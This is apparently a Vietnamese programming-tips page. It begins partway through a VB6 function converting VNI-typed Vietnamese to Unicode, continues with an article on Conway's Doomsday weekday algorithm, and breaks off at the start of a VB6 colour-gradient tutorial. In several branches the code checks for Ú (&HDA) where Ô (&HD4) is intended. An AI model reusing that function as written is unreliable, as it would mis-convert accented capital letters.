chuoi = Left(chuoi, i - 2) & ChrW$(&HFD) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "Y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HDD) & Right(chuoi, Len(chuoi) - i)
End If

Case "2"
'a
If Mid(chuoi, i - 1, 1) = "a" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HE0) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "A" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HC0) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HE2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA7) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HC2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA6) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H103) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB1) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H102) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB0) & Right(chuoi, Len(chuoi) - i)
End If

'e
If Mid(chuoi, i - 1, 1) = "e" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HE8) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "E" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HC8) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HEA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC1) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HCA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC0) & Right(chuoi, Len(chuoi) - i)
End If

'i
If Mid(chuoi, i - 1, 1) = "i" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HEC) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "I" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HCC) & Right(chuoi, Len(chuoi) - i)
End If

'o
If Mid(chuoi, i - 1, 1) = "o" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HF2) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "O" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HD2) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HF4) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED3) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HDA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED2) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1A1) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EDD) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1A0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EDC) & Right(chuoi, Len(chuoi) - i)
End If

'u
If Mid(chuoi, i - 1, 1) = "u" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HF9) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "U" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HD9) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1B0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EEB) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1AF) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EEA) & Right(chuoi, Len(chuoi) - i)
End If

'y
If Mid(chuoi, i - 1, 1) = "y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF3) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "Y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF2) & Right(chuoi, Len(chuoi) - i)
End If

Case "3"
'a
If Mid(chuoi, i - 1, 1) = "a" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA3) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "A" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA2) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HE2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA9) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HC2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA8) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H103) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB3) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H102) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB2) & Right(chuoi, Len(chuoi) - i)
End If

'e
If Mid(chuoi, i - 1, 1) = "e" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EBB) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "E" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EBA) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HEA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC3) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HCA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC2) & Right(chuoi, Len(chuoi) - i)
End If

'i
If Mid(chuoi, i - 1, 1) = "i" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC9) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "I" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC8) & Right(chuoi, Len(chuoi) - i)
End If

'o
If Mid(chuoi, i - 1, 1) = "o" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ECF) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "O" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ECE) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HF4) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED5) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HDA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED4) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1A1) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EDF) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1A0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EDE) & Right(chuoi, Len(chuoi) - i)
End If

'u
If Mid(chuoi, i - 1, 1) = "u" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE7) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "U" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE6) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1B0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EED) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1AF) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EEC) & Right(chuoi, Len(chuoi) - i)
End If

'y
If Mid(chuoi, i - 1, 1) = "y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF7) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "Y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF6) & Right(chuoi, Len(chuoi) - i)
End If

Case "4"
'a
If Mid(chuoi, i - 1, 1) = "a" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HE3) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "A" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HC3) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HE2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EAB) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HC2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EAA) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H103) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB5) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H102) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB4) & Right(chuoi, Len(chuoi) - i)
End If

'e
If Mid(chuoi, i - 1, 1) = "e" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EBD) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "E" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EBC) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HEA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC5) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HCA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC4) & Right(chuoi, Len(chuoi) - i)
End If

'i
If Mid(chuoi, i - 1, 1) = "i" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H129) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "I" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H128) & Right(chuoi, Len(chuoi) - i)
End If

'o
If Mid(chuoi, i - 1, 1) = "o" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HF5) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "O" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HD5) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HF4) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED7) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HDA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED6) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1A1) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE1) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1A0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE0) & Right(chuoi, Len(chuoi) - i)
End If

'u
If Mid(chuoi, i - 1, 1) = "u" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H169) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "U" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H168) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1B0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EEF) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1AF) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EEE) & Right(chuoi, Len(chuoi) - i)
End If

'y
If Mid(chuoi, i - 1, 1) = "y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF9) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "Y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF8) & Right(chuoi, Len(chuoi) - i)
End If

Case "5"
'a
If Mid(chuoi, i - 1, 1) = "a" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA1) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "A" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA0) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HE2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EAD) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HC2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EAC) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H103) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB7) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H102) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB6) & Right(chuoi, Len(chuoi) - i)
End If

'e
If Mid(chuoi, i - 1, 1) = "e" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB9) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "E" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EB8) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HEA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC7) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HCA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EC6) & Right(chuoi, Len(chuoi) - i)
End If

'i
If Mid(chuoi, i - 1, 1) = "i" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ECB) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "I" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ECA) & Right(chuoi, Len(chuoi) - i)
End If

'o
If Mid(chuoi, i - 1, 1) = "o" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ECD) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "O" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ECC) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HF4) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED9) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HD4) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED8) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1A1) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE3) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1A0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE2) & Right(chuoi, Len(chuoi) - i)
End If

'u
If Mid(chuoi, i - 1, 1) = "u" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE5) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "U" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE4) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1B0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF1) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1AF) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF0) & Right(chuoi, Len(chuoi) - i)
End If

'y
If Mid(chuoi, i - 1, 1) = "y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF5) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "Y" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EF4) & Right(chuoi, Len(chuoi) - i)
End If

Case "6"
'a
If Mid(chuoi, i - 1, 1) = "a" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HE2) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "A" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HC2) & Right(chuoi, Len(chuoi) - i)
End If

'e
If Mid(chuoi, i - 1, 1) = "e" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HEA) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "E" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HCA) & Right(chuoi, Len(chuoi) - i)
End If

'o
If Mid(chuoi, i - 1, 1) = "o" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HF4) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "O" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HD4) & Right(chuoi, Len(chuoi) - i)
End If

Case "7"
'o
If Mid(chuoi, i - 1, 1) = "o" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1A1) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "O" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1A0) & Right(chuoi, Len(chuoi) - i)
End If

'u
If Mid(chuoi, i - 1, 1) = "u" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1B0) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "U" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1AF) & Right(chuoi, Len(chuoi) - i)
End If

Case "8"
'a
If Mid(chuoi, i - 1, 1) = "a" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H103) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "A" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H102) & Right(chuoi, Len(chuoi) - i)
End If

Case "9"
'd
If Mid(chuoi, i - 1, 1) = "d" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H111) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "D" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H110) & Right(chuoi, Len(chuoi) - i)
End If
End Select
Next i
Next j
Viethoa = chuoi
End Function


Theo Huyata Kudo (echip)

Thuật toán Doomsday



Để biết một ngày nào đó trong năm là thứ mấy thì bạn làm thế nào? Có lẽ bạn sẽ cần một quyển lịch để dò tìm. Tuy nhiên, không cần đến lịch, tôi vẫn có thể tính được thứ của bất kỳ ngày nào trong bất cứ năm nào.


Giới thiệu:

Để biết một ngày nào đó trong năm là thứ mấy thì bạn làm thế nào? Có lẽ bạn sẽ cần một quyển lịch để dò tìm. Tuy nhiên, không cần đến lịch, tôi vẫn có thể tính được thứ của bất kỳ ngày nào trong bất cứ năm nào. Bạn có nghĩ tôi “xạo” không ? Bạn hãy theo dõi cách tính thứ của một ngày bất kỳ theo phương pháp của tiến sĩ John Horton Conway (1), một nhà toán học nổi tiếng, rồi bạn sẽ thấy những gì tôi nói ở trên là không sai. Cách tính này do tiến sĩ Conway phát minh vào những năm 1970, được coi là phương pháp đơn giản và dễ nhớ nhất so với các cách tính thứ khác (2).

Doomsday của một năm là gì?:

Trước tiên, bạn cần biết về khái niệm Doomsday. Doomsday của một năm là ngày cuối cùng của tháng hai, tức là ngày 28/2 ở năm thường và 29/2 ở năm nhuận (3). Ví dụ như Doomsday của năm 2004 (năm nhuận) là chủ nhật 29/2.

Khi biết được Doomsday, bạn sẽ tính được thứ của các ngày khác trong tháng hai bằng cách lấy Doomsday làm mốc và tính ngược lại từng tuần. Chẳng hạn như để biết ngày 14/2/2004 là thứ mấy, bạn làm như sau: 29-7=22, 22-7=15, ngày 22/2 và 15/2 đều là chủ nhật, như vậy 14/2 là thứ bảy.

Cách tính đối với những tháng chẵn:

Bạn đã tính được thứ của các ngày trong tháng hai, còn những tháng khác thì sao? Trước tiên, chúng ta nói về những tháng chẵn (các tháng 4, 6, 8, 10, 12). Đối với các tháng chẵn này, các ngày sau sẽ có thứ trùng với Doomsday: 4/4, 6/6, 8/8, 10/10, 12/12. Thật dễ nhớ phải không bạn? Trong năm 2004, các ngày trên đều là chủ nhật (trùng với thứ của ngày 29/2). Áp dụng cách tính giống tháng hai, bạn sẽ tính được thứ của bất cứ ngày nào trong các tháng chẵn.

Cách tính đối với những tháng lẻ:

Đối với những tháng lẻ thì tính như thế nào? Cách tính cũng tương tự như trên, tuy nhiên chúng ta cần nhớ một ngày trong tháng có thứ trùng với Doomsday. Trước hết chúng ta xét các tháng 5, 7, 9, 11. Các ngày 9/5, 5/9, 11/7, 7/11 sẽ có thứ trùng với Doomsday.

Còn tháng ba thì sao? Doomsday (28/2 hoặc 29/2) có thể coi là ngày 0/3. Vì vậy ngày 7/3 sẽ có thứ trùng với Doomsday.

Có một cách giúp bạn nhớ các ngày trên của các tháng lẻ (trừ tháng 1). Đối với những tháng 3, 5, 7 là những tháng dài (31 ngày), bạn lấy tháng đó cộng thêm 4 sẽ ra ngày cần nhớ (tháng 3: 3+4=7 => ngày 7/3; tháng 5: 5+4=9 => ngày 9/5; tháng 7: 7+4=11 => ngày 11/7), Đối với những tháng 9, 11 là những tháng ngắn (30 ngày), bạn lấy tháng đó trừ đi 4 sẽ ra ngày cần nhớ (tháng 9: 9-4=5 => ngày 5/9; tháng 11: 11-4=7 => ngày 7/11).

Tháng một thì hơi đặc biệt. Với năm thường, ngày 31/1 sẽ có thứ trùng với Doomsday (28 ngày sau ngày 31/1 là ngày 28/2 chính là Doomsday). Với năm nhuận, Doomsday là ngày 29/2 nên ngày 1/2 (coi như là ngày 32/1) có thứ trùng với Doomsday, do vậy ngày 31/1 có thứ trước Doomsday một ngày. Bạn cần chú ý điểm đặc biệt này để tính cho chính xác.

Sau khi đọc cách tính trong tháng một của tiến sĩ Conway, một độc giả tên Bob Goddard đã đề nghị một ngày khác dễ nhớ hơn đối với tháng một. Đó là ngày 3/1 trong năm thường và ngày 4/1 trong năm nhuận. Các ngày này có thứ trùng với Doomsday. Để dễ nhớ, ta liên tưởng số 3 là 3 năm thường trong chu kỳ 4 năm sẽ có năm nhuận, còn số 4 gợi ý đến năm nhuận vì năm nhuận chia hết cho 4.

Doomsday của các năm trong thế kỷ 20:

Muốn tính thứ của bất kỳ ngày nào trong một năm, bạn cần biết Doomsday của năm đó. Doomsday của năm 2004 là chủ nhật 29/2, vậy Doomsday của năm 2003 là thứ mấy? Xin trả lời bạn là thứ sáu. Bởi vì năm 2004 là năm nhuận có 366 ngày, 366 chia 7 dư 2, vì vậy Doomsday của năm 2003 có thứ trước Doomsday của năm 2004 hai ngày nên là thứ sáu. Tương tự, Doomsday của năm 2002 là thứ năm vì năm 2003 có 365 ngày, 365 chia 7 dư 1. Như vậy, để tính Doomsday của một năm trước năm thường, bạn lùi 1 ngày, để tính Doomsday của một năm trước năm nhuận, bạn lùi 2 ngày. (Bạn lưu ý là năm nhuận dư ra 1 ngày thì ngày này ảnh hưởng đến năm trước đó chứ không phải năm sau nó vì Doomsday của năm nhuận là ngày 29/2 chứ không phải 28/2). Áp dụng cách này, biết Doomsday của một năm nào đó, ta tính được Doomsday của những năm khác.

Bảng bên là Doomsday của những năm trong thế kỷ 20 (năm in đậm là năm nhuận). Phần lớn chúng ta sinh ra và sống trong thế kỷ 20 nên có lẽ bảng này sẽ được dùng nhiều. Tuy nhiên, thật khó để nhớ được mọi chi tiết trong bảng. Nhưng có một cách tính khác giúp bạn biết được Doomsday của từng năm trong thế kỷ 20.

Trước hết bạn cần ghi nhớ Doomsday của năm 1900 là thứ tư. Cứ 4 năm thì có một năm nhuận, vì vậy Doomsday mỗi 4 năm cách nhau 5 ngày. Tương tự, Doomsday mỗi 8 năm cách nhau 10 ngày, hay là 3 ngày (10 chia 7 dư 3), Doomsday mỗi 12 năm cách nhau 15 ngày, hay là 1 ngày. Ta sẽ ghi nhớ chu kỳ 12 năm này (tiện lợi vì con số chênh lệch chỉ là 1 ngày) để tính nhanh Doomsday của một năm. Chẳng hạn như ta tính được Doomsday của năm 1914 là thứ bảy, bởi vì Doomsday của năm 1900 là thứ tư nên Doomsday của năm 1912 (12 năm sau) là thứ năm nên Doomsday của năm 1914 là thứ bảy.

Đối với một năm bất kỳ trong thế kỷ 20 (19YY), bạn tính Doomsday theo quy tắc sau:

- a là thương số của phép chia YY cho 12

- b là số dư của phép chia YY cho 12

- c là thương số của phép chia b cho 4 (biết số năm nhuận để tính số ngày cộng thêm)

- d=a+b+c

- e là số dư phép chia d cho 7

- Doomsday của năm 19YY sẽ có thứ sau Doomsday của năm 1900 (thứ tư) e ngày.

Ví dụ: Doomsday của năm 1929 là thứ mấy?

Trả lời: a = 29 div 12 = 2; b = 29 mod 12 = 5; c = b div 4 = 5 div 4 = 1; d = a+b+c = 2+5+1 = 8; e = d mod 7 = 8 mod 7 = 1. Sau thứ tư 1 ngày (e=1) là thứ năm. Như vậy Doomsday của năm 1929 là thứ năm.

Doomsday của năm đầu trong một số thế kỷ:

Đối với những thế kỷ khác, cách tính Doomsday cũng tương tự như đối với thế kỷ 20. Vấn đề ở đây là bạn cần biết Doomsday của năm đầu tiên của thế kỷ. Bảng dưới đây cung cấp cho bạn Doomsday của năm đầu của một số thế kỷ. Để nhó bảng này cũng không quá khó.

Ứng dụng:

Nếu bạn có khả năng nhớ và tính toán tương đối nhanh thì cách tính trên (cũng không quá phức tạp để nhớ) giúp bạn có thể tính nhẩm thứ của bất kỳ ngày nào. Điều này khiến bạn chẳng khác gì một “quyển lịch sống”. Thật ấn tượng phải không bạn? Các bạn lập trình có thể áp dụng cách tính trên vào chương trình của mình. Chỉ với một số dòng lệnh tương đối đơn giản, bạn đã có một bộ lịch “liên thế kỷ”, đối với những chương trình cần tra ngày tháng, bạn sẽ không tốn công lưu trữ lịch để tra cứu… Tôi nghĩ phương pháp trên rất hay, hữu dụng và hy vọng nó cũng sẽ mang lại ích lợi gì đó cho bạn.

Bạn có thể tải chương trình Doomsday có sử dụng cách tính trên để kham thảo. Chương trình viết bằng Visual Basic, nhằm minh họa cách “tin học hóa” thuật toán Doomsday, có thể tính thứ một ngày bất kỳ và in ra lịch của các năm. (Thực ra với khả năng tính của máy tính thì không cần sử dụng thuật toán Doomsday cũng tính được thứ của một ngày bất kỳ. Ví dụ như biết rằng hôm nay là thứ năm 7/10/2004 thì đơn thuần chúng ta chỉ cần đếm ngược lại hoặc đếm lên để tính thứ một ngày bất kỳ.)

Bạn đọc gửi: Blumen2510vn

Tạo hiệu ứng chuyển màu trong VB6



Trong không gian này, màu sắc được tạo ra bằng cách tổng hợp ba màu trên, trong đó, mỗi thành phần màu mang một giá trị, giá trị này cho biết cường độ thành phần màu đó tham gia vào màu tổng hợp.



Không gian RGB:

Không gian RGB dùng 3 màu cơ bản đỏ (Red), xanh lá cây (Green), xanh dương (Blue) để tạo nên các màu khác. Trong không gian này, màu sắc được tạo ra bằng cách tổng hợp ba màu trên, trong đó, mỗi thành phần màu mang một giá trị, giá trị này cho biết cường độ thành phần màu đó tham gia vào màu tổng hợp. Miền giá trị của mỗi màu cơ bản là từ 0 đến 255. Như vậy, trong không gian RGB, ta có thể tạo ra 2563 màu (hơn 16 triệu màu).

Không gian RGB được minh họa bằng hệ trục tọa độ 3 chiều với các trục là R, G, B.


Nguyên tắc tạo hiệu ứng chuyển màu:

Giả sử bạn muốn tạo hiệu ứng chuyển màu từ màu C1 (R1, G1, B1) sang màu C2 (R2, G2, B2). Trong hệ tọa độ màu, bạn nối hai điểm màu này sẽ được một đoạn thẳng (chính là tập hợp các điểm màu). Trải đều các điểm màu này lên một chiều dài là bạn đã tạo ra hiệu ứng chuyển màu từ màu C1 (R1, G1, B1) sang màu C2 (R2, G2, B2) trên chiều dài đó. Mỗi điểm màu cấu tạo bởi 3 thành phần R, G, B nên chia đều các điểm màu cũng chính là chia đều từng thành phần R, G, B.

Cách thực hiện như thế nào? Ta chia chiều dài cần tô màu thành n khoảng, mỗi khoảng được tô bởi một màu. Khoảng thứ nhất được tô bằng màu C1 (R1, G1, B1), khoảng thứ n được tô bằng màu C2 (R2, G2, B2). Thành phần R thay đổi từ R1 đến R2 sẽ phải chia đều cho n khoảng, do vậy hai khoảng kế nhau có thành phần R chênh lệch nhau (R2-R1)/n. Tương tự, thành phần G và B ở hai khoảng kế nhau sẽ chênh lệch nhau (G2-G1)/n và (B2-B1)/n.



Lần lượt tô từng khoảng với màu sắc thay đổi theo nguyên tắc trên sẽ tạo ra hiệu ứng chuyển màu trên chiều dài cần tô màu.

Hiệu ứng chuyển màu trên Form:

Ta sẽ viết chương trình tô chuyển màu Form theo chiều ngang từ màu (R1,G1,B1) sang màu (R2,G2,B2).


Bạn tạo một Project mới thuộc loại Standard EXE. Các thuộc tính của Form1:

(Name)

Form1

AutoRedraw

True

DrawWidth

1

ScaleMode

3 - Pixel


